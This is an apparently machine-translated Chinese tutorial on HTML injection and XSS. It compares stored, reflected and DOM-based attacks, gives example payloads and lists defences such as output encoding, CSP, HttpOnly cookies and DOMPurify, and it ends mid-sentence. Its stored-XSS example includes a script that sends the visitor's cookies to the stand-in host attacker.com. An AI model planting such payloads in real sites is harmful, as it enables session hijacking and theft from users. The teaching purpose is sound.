上一篇
html注入js
- 行业动态
- 2025-04-29
- 2709
HTML注入是通过用户输入插入反面HTML代码的攻击方式,可导致XSS破绽,需对输入进行过滤和
攻击原理
HTML注入(XSS)的核心在于将反面脚本注入到网页中,利用浏览器对HTML/JS的解析机制执行攻击者预设的代码,主要流程如下:
- 输入被墙:攻击者通过表单/URL参数/API等途径提交包含反面标签或脚本的输入
- 信任存储:服务器未做过滤直接存储到数据库/日志/模板中
- 动态渲染:当其他用户访问时,浏览器解析执行存储的反面脚本
- 权限继承:利用当前用户权限执行敏感操作(如劫持Cookie)
常见类型对比表
类型 | 触发方式 | 持久化 | 典型场景 | 示例特征 |
---|---|---|---|---|
存储型 | 数据存储后自动执行 | 是 | 论坛评论/用户资料 | <script>alert(1)</script> |
反射型 | 通过URL参数立即执行 | 否 | 搜索框/错误页面 | <img src=x onerror=alert(1)> |
DOM型 | 前端JS处理输入时执行 | 否 | 客户端表单验证/SPA应用 | javascript:alert(1) |
攻击示例
存储型XSS
<!-正常评论流程 --> <form action="/submit"> <textarea name="comment"></textarea> </form> <!-反面输入 --> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <!-服务器存储后展示 --> <div class="comment"> <!-此处直接输出未经编码的评论内容 --> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> </div>
反射型XSS
<!-搜索功能 --> <input name="query" value="<script>alert('xss')</script>"> <!-服务器返回页面 --> <div class="results"> <!-直接拼接URL参数到页面 --> You searched for <script>alert('xss')</script> </div>
防御措施矩阵
防护层 | 实现方式 | 作用范围 |
---|---|---|
输入验证 | 正则过滤特殊字符(如<>/”‘) | 所有输入接口 |
输出编码 | HTML转义(< → <) & 属性编码(” → ") | 数据输出到HTML时 |
CSP策略 | Content-Security-Policy: default-src 'self'; script-src 'none' | 全站级防护 |
HttpOnly Cookie | 设置Set-Cookie的HttpOnly属性 | 防止JS读取Cookie |
前端处理 | 使用DOMPurify库清理用户输入 | 富文本编辑场景 |
相关问题与解答
Q1:如何区分反射型XSS和存储型XSS?
A:核心区别在于反面脚本的存储位置,反射型通过URL参数即时触发,不留存;存储型需要数据持久化存储(如数据库/文件),会在多个请求周期中持续生效,检测时可通过清除缓存后重新访问,观察是否仍需特定参数触发。
Q2:设置CSP后是否还需要其他防护措施?
A:CSP是重要防线但非银弹,需注意:① inline脚本需要哈希声明 ② 非受信域名的CSS/JS仍可能突破限制 ③ 必须配合输入验证/输出编码,建议多层防御,例如同时启用